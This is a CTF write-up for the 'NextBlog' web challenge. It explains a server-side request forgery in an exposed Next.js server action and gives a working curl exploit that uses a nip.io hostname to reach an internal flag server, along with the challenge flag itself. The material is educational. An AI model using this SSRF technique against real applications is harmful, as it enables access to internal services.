NextBlog - CTF Writeup Link to heading
Challenge Info Link to heading
- Name: NextBlog
- URL:
https://cyctf-luxor-cbaff7649acb-nextblog-0-0.chals.io - Category: Web
- Flag:
CyCTF{F7oXj5sHY4xfvfrIo2x2pkbr4eIVEW3DoYSQe1WHsx_iffn39-InchEsJKhkGtnfg8VA60x6WfCvKRQjmHzftiAxx1TvnXF8FA}
Overview Link to heading
A Next.js 16 blog application with a hidden flag server running on localhost:3001. The goal is to exploit a Server-Side Request Forgery (SSRF) vulnerability in a server action to reach the internal flag server.
Architecture Link to heading
- Next.js app on port 3000 (public)
- Flag server (
fserver.js) on port 3001 (internal only, serves flag atGET /flag) - Both run in the same Docker container via
start.sh
Vulnerability Analysis Link to heading
Server Actions (app/actions.ts)
Link to heading
Two exported server actions handle image fetching:
getImageAsDataUrl(imageName) - Has a regex filter and / prepend:
let safelink = imageName.replace(/(\.\/|\/\.|\.\\|\\\.|\.\.)/g, '');
if (safelink[0] !== '/') {
safelink = '/' + safelink;
}
const { buffer, contentType } = await fetchImage(safelink)
fetchImage(imageName) - No filter, no prepend:
const imageUrl = `http://res.cloudinary.com${imageName}`
const response = await fetch(imageUrl)
Both are exported from a 'use server' file, making them callable directly as server actions from any client.
Key Constraints Link to heading
getImageAsDataUrlstrips path traversal patterns (./,/.,.\,\.,..) and always prepends/if missing, making host manipulation impossible.fetchImagehas no sanitization but Node.jsfetch()rejects URLs containing userinfo (@), blocking the classichttp://host@evil/SSRF trick.
Exploitation Link to heading
Finding Server Action IDs Link to heading
Fetched the JavaScript chunk b2ee5571784defbf.js from the app, which contained:
createServerReference("40ec89965acdd40cb2b0164cce82150933f70274c4", ..., "getImageAsDataUrl")
createServerReference("40d2dd1312f69711017b1742d0b5b19bb2e279f6aa", ..., "fetchImage")
SSRF via DNS Rebinding (nip.io) Link to heading
Since fetchImage constructs the URL as http://res.cloudinary.com${imageName}, passing .127.0.0.1.nip.io:3001/flag creates:
http://res.cloudinary.com.127.0.0.1.nip.io:3001/flag
- Host:
res.cloudinary.com.127.0.0.1.nip.io(resolves to127.0.0.1via nip.io) - Port:
3001 - Path:
/flag - No userinfo - passes Node.js fetch validation
Exploit Command Link to heading
curl -s -X POST 'https://cyctf-luxor-cbaff7649acb-nextblog-0-0.chals.io/' \
-H 'Content-Type: text/plain;charset=UTF-8' \
-H 'Next-Action: 40d2dd1312f69711017b1742d0b5b19bb2e279f6aa' \
-d '[ ".127.0.0.1.nip.io:3001/flag"]'
The response contains the flag as a serialized Buffer, which decodes to the flag string.
Key Takeaways Link to heading
- Server actions are RPC endpoints - Any exported async function in a
'use server'file can be called directly with arbitrary arguments, regardless of how the UI uses it. - Filter bypass via unfiltered function -
getImageAsDataUrlhad sanitization, butfetchImage(also exposed) did not. - DNS rebinding bypasses host restrictions - Services like
nip.ioresolve*.127.0.0.1.nip.ioto127.0.0.1, allowing SSRF without URL userinfo (whichfetch()rejects).